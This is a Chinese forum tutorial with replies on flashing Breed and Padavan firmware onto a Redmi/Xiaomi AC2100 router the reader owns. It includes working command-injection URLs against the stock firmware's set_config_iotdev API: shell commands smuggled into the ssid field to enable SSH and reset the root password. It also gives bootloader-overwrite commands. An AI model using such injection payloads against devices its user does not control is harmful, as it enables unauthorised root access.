红米(小米)AC2100无需Telnet刷入Breed和Padavan固件教程

a76***

帖子已经开放，如果各位小伙伴刷机成功，希望可以给帖子回复一下，报个喜也行！

--------原始内容--------

最近入手了一台红米AC2100路由器，看到有128M的RAM和ROM，官方固件用着不顺手，作为一个新手又不会刷路由器固件，只好在网上一点一点摸索。
然而在网上的大部分教程都需要用到Telnet来开启ssh，又看到恩山大佬有直开ssh的教程，
我就尝试着将两种方法结合一下，
最后成功刷入不死Breed和老毛子固件，特意把自己的经验分享一下，仅供大家交流，请不要将此方法与其他方法进行比较，适合自己的才是最好的。
PS：如果是新买红米2100的朋友，强烈建议检查坏块，如果有不是768的坏块，或者在刷机过程中存在因坏块引起的无法刷入问题，建议7天无理由退换货！！！

TIPS1：进行教程操作前，请尽量使用网线与路由器连接，否则可能无法进行部分操作。正常情况是无需设置电脑防火墙和关闭杀毒软件的，但保险起见还是关闭防火墙和杀毒软件，不然刷成砖就后悔了！

TIPS2：教程中涉及文件存储和操作的所有路径和命令，请保证为全英文路径和命令(不得使用中文字符)，使用中文路径可能出现未知错误，导致刷机失败！！

PPS：重复强调，除明确注释可跳过步骤外，强烈建议严格按照教程中步骤进行，如遇到问题及时在评论区反馈回复，楼主不保证随时在线，上线后回复相关问题，部分问题可通过论坛搜索解决！！！

视频教程链接（感谢B站阿婆主@高妮梅 @看书的山猪 制作的详细视频，如有问题请站内联系我） Bilibili：https://www.bilibili.com/video/BV1Zf4y1v74o Bilibili：https://www.bilibili.com/video/BV1wT4y1T77v 这个视频有关于小米2100的操作演示，新手同学们可以都参考一下，避免不熟悉操作造成一些不必要的问题 (两个原视频都没有介绍步骤2.2，这个建议大家还是操作一下，培养备份的意识: )

教程如下
1 官方固件利用Web注入漏洞开启SSH
1.1 更换至漏洞官方固件版本
1.1.1 下载固件
有漏洞固件版本为：AC2100 2.0.7*版本（最新2.0.7*固件未检测是否修复漏洞，建议版本为小米AC2100 2.0.722 或 红米AC2100 2.0.7）
官方下载链接：
红米RM2100： http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm2100/miwifi_rm2100_firmware_d6234_2.0.7.bin
小米R2100：http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/r2100/miwifi_r2100_firmware_4b519_2.0.722.bin
百度网盘链接: https://pan.baidu.com/s/1H355Ym9p_TLrVOux2w2b7Q 提取码: th3v，其中 miwifi_rm2100开头的是红米的，miwifi_r2100开头的是小米的。
1.1.2 更换固件
在管理页面升级或降级到对应版本，进行初步设置，可以先关掉自动升级或不接外网防止自动升级到最新版本

1.2 漏洞利用（漏洞原理：略）
1.2.1 使用管理密码登录管理页面
在浏览器地址栏输入192.168.31.1，进入管理页面并登录后地址栏链接应为：

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router

PS: 和小白同学解释下，<STOK>是代表你登录后自动生成的那一长串数据，每个人都不一样，用于替换下一步中的链接中部分。
1.2.2 一步到位漏洞注入
在浏览器地址栏中输入以下链接代码，注意替换掉<STOK>部分，否则无效：

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

返回{"code":0}即代表成功，其实成不成功都会返回这个：）
如果返回401错误，原因可能是版本不正确或者<STOK>值错误或者链接输入不完整等，提示404错误，说明输入地址错误，请检查固件版本或链接地址...
注意传参顺序及指令前后都要有一个分号，即%3B
建议一键注入后需等待一些时间，保证路由器后台能正确处理注入信息后再重启，
重启即可开启SSH，root密码请自行根据SN计算；不想计算的或不知道怎么计算的，可以看下一步1.2.3

1.2.3 更改管理员root密码 (可跳过)
root账号不想用初始密码的执行下面的代码改密码为admin，在浏览器地址栏中输入以下链接代码，注意替换掉<STOK>部分(有时stok值会发生改变，建议重新返回1.2.1步骤复制最新的stok值)，否则无效：

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

'admin'表示输入两次密码以修改密码为admin，想要自行设置密码的仅需要改动两个红色字符admin即可，其他地方不要改，怕出问题或记不住的不用修改。

1.3 登录SSH
1.3.1 下载SSH软件
1.3.1.1 我使用的软件是MobaXterm 20.0，强烈建议
参考下载链接：https://www.52pojie.cn/forum.php?mod=viewthread&tid=1121116
百度网盘链接: https://pan.baidu.com/s/11jHyLbJwlOqsVw84ys9Sig 提取码: x35v
1.3.1.2 感谢@航校门口二楼修 分享的最新汉化版MobaXterm，请检查可用无误后再使用

MobaXterm软件汉化作者的网盘 https://www.lanzoui.com/b0be9oscj   密码:h6k4

使用MobaXterm登录SSH会话界面，如图所示

1.3.2 登录SSH
1.3.2.1 点击"会话"-"SSH"；
1.3.2.2 "基本SSH设置"-"远程主机"-输入"192.168.31.1"-选中"指定用户名"复选框-输入"root"；
1.3.2.3 其他设置可自行探索，设置完成后点击"好的"；
          Tips：温馨提示，在"高级SSH设置"-"SSH浏览器类型"-选择"SFTP协议"或"SCP协议"，会在ssh会话左侧展开类似Windows资源管理器的界面，如上图所示，可用于路由器与电脑之间的文件交互。
1.3.2.4 在弹出的ssh会话中会显示"root@192.168.31.1's password: "，如果没有或显示其他错误，请检查上述步骤；
1.3.2.5 输入1.2.3中设置的密码"admin"，注意此时你输入的内容是不显示的，输入完成后回车即可。
1.3.2.6 显示以下画面，表示登陆成功！

PS：有的网友开启ssh后不能操作某些目录，如固件目录，可重启后尝试，或者输入下述命令：

1. df -h

复制代码

查看文件系统FileSystem的挂载点Mounted on的Available是否为0，0表示空间已满，可以在剩余空间不为0的目录操作。

2 刷入Breed
2.1 查看路由器坏块(可跳过，或者在刷固件失败时再查看是否是因为固件的原因)
2.1.1 查看坏块命令

1. dmesg | grep NAND
   
2. dmesg | grep '[B|b]ad.*block'
   
3. dmesg | grep eraseblock

复制代码

执行完成后会有以下几种情况：  
2.1.1.1 执行指令没有返回任何信息，翻日志也没找到任何闪存相关信息，重启下路由再找一次。
2.1.1.2 执行后返回信息中有ESMT字样，翻日志也没有显示坏块信息的是ESMT闪存，没有检测到坏块。
2.1.1.3 较为正常东芝闪存返回信息：坏块768。但刷固件一切正常。
2.1.1.4 是东芝闪存而且有问题的路由返回信息如图，坏块90+768，根据调查“90”这个数字还有其他值，推测跟东芝闪存体质有关。

2.1.1.5 坏块为14 15以及768可能无法刷入20M大小以上的openwrt系统，如存在以上坏块且需要使用openwrt系统，建议尽快退换货

2.1.2 分析(略)
2.2 固件备份
2.2.1 输入命令查看当前分区

1. cat /proc/mtd

复制代码

2.2.2 备份命令
mtd0-10都是固件和分区，其中mtd0是编程固件
2.2.2.1 完全备份(如需要后期恢复原厂固件，建议进行该步操作)

1. dd if=/dev/mtd0 of=/tmp/all.bin

复制代码

mtd0是编程固件已经包括1-10里面的东西了，不放心的可以都把他们备份下来
输入命令后一定要将"/tmp/all.bin"移动到电脑上(可通过ssh会话左侧的SFTP/SCP界面操作, 如果操作失败建议更换为scp协议, 如果还是失败就换个软件，比如MobaXterm最新版或Xmanager或配合winscp软件使用)后再操作第二条指令以防路由器空间不足导致备份失败。
2.2.2.2 仅备份BootLoader(推荐)

1. dd if=/dev/mtd1 of=/tmp/bootloader.bin

复制代码

输入命令后一定要将"/tmp/bootloader.bin"移动到电脑上后再操作下一步

2.3 刷入breed(参考自恩山教程)
2.3.1 下载breed
文件名： breed-mt7621-xiaomi-r3g.bin
H大链接(建议) ：https://breed.hackpascal.net/breed-mt7621-xiaomi-r3g.bin
百度网盘链接: https://pan.baidu.com/s/187L8X0kdLFN7YbvbAZP2EA 提取码: p6p2 (网盘无法保证同步至breed最新版，请根据实际情况下载)
2.3.2 刷入不死Breed

2.3.2.1 复制breed-mt7621-xiaomi-r3g.bin 到/tmp
2.3.2.2 输入命令  

1. mtd -r write /tmp/breed-mt7621-xiaomi-r3g.bin Bootloader

复制代码

2.3.2.3 等待路由器重启（当电脑获取到ip或者路由只有一个蓝灯亮时，breed引导官方固件成功）。
2.3.2.4 为防止变砖，强烈建议等待5分钟后拔电，用牙签按住reset键再插电，等蓝灯闪烁，松开reset键，浏览器访问192.168.1.1即可进入breedweb界面。
首次进入breed记得先备份下编程器固件和eeprom。
2.3.2.5 更改环境变量，编缉,新增字段"xiaomi.r3g.bootfw",值设置为 2,然后保存。（否则刷入非原厂固件可能会出现刷入固件后重启指示灯不断蓝黑交替（无限重启）的现象）
2.3.2.6 至此，路由器成功刷入breed。
PS：不建议使用breed直接回复原厂BootLoader，可能会发生某些不可预知的错误！！请通过论坛搜索相应回复原厂BootLoader的教程(例)并仔细研究！！！

3 刷入固件

3.1 下载固件
Padavan(HIBOY)固件
红米ac2100：http://opt.cn2qq.com/padavan/RM2100_3.4.3.9-099.trx
小米ac2100：http://opt.cn2qq.com/padavan/R2100_3.4.3.9-099.trx
3.2 刷入固件
3.2.1 点击“固件更新”-在“固件”位置上传trx文件
3.2.2 选中复选框"自动重启"-点击上传
3.2.3 确认更新信息-点击"更新"-等待路由器重启
3.2.4 等待路由器LED灯恢复正常后-打开浏览器-进入http://my.router
3.2.5 用户名"admin"-密码"admin"
3.2.6 显示下图-正常刷入。



分享几个基于此教程的帖子（仅供参考，自行测试）：
简化版刷机&刷回官方教程：https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=4059522
在线联网刷breed：https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=4056371
不刷入breed直接刷入padavan：https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=4056115

PPPS：刷入固件后即可任意配置你的路由器并使用各种插件，请自由探索！
PPPPS：如有问题可及时评论反馈，方便交流！！！

问题解答(整理评论区问题及解答)：
1. 请问到手AC2100就刷机 之后再刷回官方还能领UU加速器吗？
答：如需使用UU加速功能，建议不刷机使用原版固件；如需查看坏块仅需执行2.2之前的步骤。
2. 步骤1.2.2 注入代码返回{"code":"401","msg":"Invalid token"} ?
答：可能是路由器固件版本不正确或者<STOK>值错误或者链接输入不完整等，提示404错误，说明输入地址错误，请检查固件版本或链接地址。建议一键注入后需等待一些时间，保证路由器后台能正确处理注入信息后再重启
3. 步骤1.3.2.5无法输入admin？
答：此时你输入的内容是不显示的，输入完成后回车即可。
4. 卡在步骤2.2.2.2 BootLoader.bin下载不了，breed-mt7621-xiaomi-r3g.bin也上传不上去，一直都是进度0%或者操作SFTP时出现217错误代码？
答：请依次尝试以下操作：
2.1 切换sftp协议为scp协议再尝试；
2.2 更换新版MobaXterm软件再尝试；
2.3 更换Xmanager或配合winscp软件再尝试；
2.4 重启路由器及电脑后再尝试。
5. 把breed上传到/tmp是什么意思？winscp如何正常打开？端口选22？用户名和密码是？
答：/是路由器根目录，/tmp是临时文件目录；端口22；用户名root；密码admin或你自己设置的密码。
6. 刷入breed最后一步2.3.2.2失败？
答：如果路由器重启后还是进入官方管理界面说明breed没有刷入，重新建议刷入breed后等待路由器重启5分钟后再拔电进行后续操作（当电脑获取到ip或者路由只有一个蓝灯亮时，breed引导官方固件成功）。若路由器仍未刷入breed或者电脑获取不到IP地址，请参考问题7。
7. 刷入breed后无法进入192.168.1.1或者获取不到IP（路由器蓝灯亮一会熄灭，之后橙灯和蓝灯一起亮，之后橙灯熄灭...一直这样循环）？
答：用牙签按住reset键再插电，等蓝灯闪烁，松开reset键，浏览器访问192.168.1.1即可进入breedweb界面。上述过程全程使用网线连接路由器LAN口与计算机，计算机配置为‘自动获取IP地址’，(在自动获取状态下还进不去，就禁止下网卡然后再下)《网络连接（网络和共享中心）--鼠标右键属性--本地连接状态(无 线网络连接状态）--属性——Internet协议版本4(TCP/IPv4))确保IP和DNS为自动获取状态，才能进入breedweb界面》。
8. 步骤2.3.2.2执行打开 breed文件时，显示无法打开image file?
答：breed文件不完整或未完全上传，重新执行步骤2.3.1或步骤2.3.2.1。
9. 执行步骤2.3.2.2 提示‘-sh: mtd: not found’，怎么办？
答：执行以下命令尝试

1. mtd_write -r write /tmp/breed-mt7621-xiaomi-r3g.bin Bootloader

复制代码

如果可以，执行完成后等待3-5分钟，如果未重启则手动重启

1. reboot

复制代码

10. 刷完breed后无法引导官方固件，上面的蓝灯常亮，进不了系统甚至无限重启？
答：breed无法直接引导官方固件，官方固件自带Bootloader，会和breed冲突的，请参考‘简化版刷机&刷回官方教程’或者论坛搜索可以用breed引导的官方固件。
11. 刷机失败怎么救砖？
答：论坛搜索ac2100救砖教程。
12.  请问mac 能不能操作刷机？
答：可以，ssh软件需要使用合适的mac软件。
13. AC2100也可以刷梅林固件吗？
答：适配AC2100的固件能通过breed刷入就可以。
14. 刷入padavan后ssh可以连接，但是密码错误？
答：通过padavan管理界面更改管理密码后登录ssh。
15. 刷入固件后无法获取ipv6地址？答：本教程不涉及ipv6地址配置。
16. 笔记本没网线口，想不插网线刷，刷完breed重启没有无线信号连不上？
答： breed不能用wifi连接，必须使用网线操作。
17. 不备份固件会怎样？
答：在刷机过程中无影响。
18. 刷完固件后打不开：http://my.router？
答：尝试http://192.168.123.1或http://192.168.31.1
19. 官方固件如何降级？
答：直接在管理页面将固件导入选择升级，就可以成功降级。
20. 步骤2.2.2.2的文件怎么移动到电脑上？
答：sftp界面拖动文件到电脑的文件夹里面或者在sftp界面文件上右键点击下载
21. 使用土豪专用PDF一键注入代码时失败？
答：请注意部分pdf阅读软件内复制文本会在换行处加入换行符，从而改变代码文本。
22. 能刷机是否证明坏块没影响？
答：现在大部分适配的固件已经可以自动屏蔽坏块，坏块为14 15以及768可能无法刷入20M大小以上的openwrt系统，如存在以上坏块且需要使用openwrt系统，建议尽快退换货。
23. 重启路由器后找不到/tmp内文件？
答：tmp临时文件夹每次重启都会清空后再存文件，个人操作产生文件重启后即删除。
24. 上传固件那个步骤一直校验失败？
答：路由器坏块导致校验失败，参考问题22。
25. 请问小米ac2100刷机好还是红米ac2100好？
答：区别不大，用料做工来说小米要好一些，但红米性价比要好一些。
26. SSH 22端口无法连接？
答：重启也不行的话，可能是ssh未开启成功，重新操作开启步骤。
27. 一键注入提示No page is registered at '/api/misystem/set_config_iotdev'？
答：官方固件版本不对，降级至指定版本。
28. 备份至/tmp文件夹时操作失败？
答：空间不足，重启路由器。
29. 刷完老毛子以后，再输入192.168.1.1就进不去不死breed了是怎么回事？
答：进不死breed的方式是通过路由器后面的reset键，断电按住后通电，长按几秒后灯闪烁即可进入。
30. 漏洞注入中的代码隐含着一个奇怪的名字？
答：官方调试的id。
31. 刷老毛子的方法可以用来刷openWRT吗？
答：刷入breed后记得先刷op底包。
32. 刷入了breed进入192.168.1.1变成了天翼网关？
答：网关的IP和breed冲突了，设置breed的时候把连网关的网线从路由器WAN口上拔下来。
33. ac2100刷完，有的设备连上有网，有的设备连上没网怎么办？
答：看是不是光猫拨号，是的话把padavan改成AP模式。
34. 怎么恢复备份的编程器固件？
答：将步骤2.2.2.1中备份的all.bin复制到路由器/tmp目录下，执行以下命令，执行前务必确认all.bin是正确且完整的，执行完成后等待路由器自行重启，否则必变砖，操作需谨慎，不会就找售后。

1. mtd -r write /tmp/all.bin All

复制代码

35.刷入breed后刷入Openwrt固件一切正常，刷入Padavan后无法进入系统？
答：在Breed控制台——环境变量编辑——md5中，备份md5信息后删除信息，保存重刷

a76***

不皆非 发表于 2020-10-31 02:27
可以！但不值得~原方法刷完10分钟这样~你这个方法至少20分钟。

时间这个问题我不想多说，一是关于熟练度，二是自己实践的问题
两种方法满足不同的情况，我写的很多，是为了照顾像我一样的新手，
所以如果感觉看起来很啰嗦，请谅解！

hx***

关系分享 谢谢

sy1***

回复看看

害怕***

回复看看   

pingan***

这个东东太好了

木头***

谢谢大佬分享

fohu***

学习 学习 ！！！！谢谢楼主 辛苦了

huang***

我也来看看

piao***

红米(小米)AC2100无需Telnet刷入Breed和Padavan固件教程 [

快点开***

回复看看

kob***

看看怎么样了

yang***

支持亿下~~~~~~~~~~~~~~

sz2***

谢谢分享！！~~~

2066***

回复看看。。

moyu***

本帖最后由 a76yyyy 于 2020-10-8 19:40 编辑


最近入手了一台红米AC2100路由器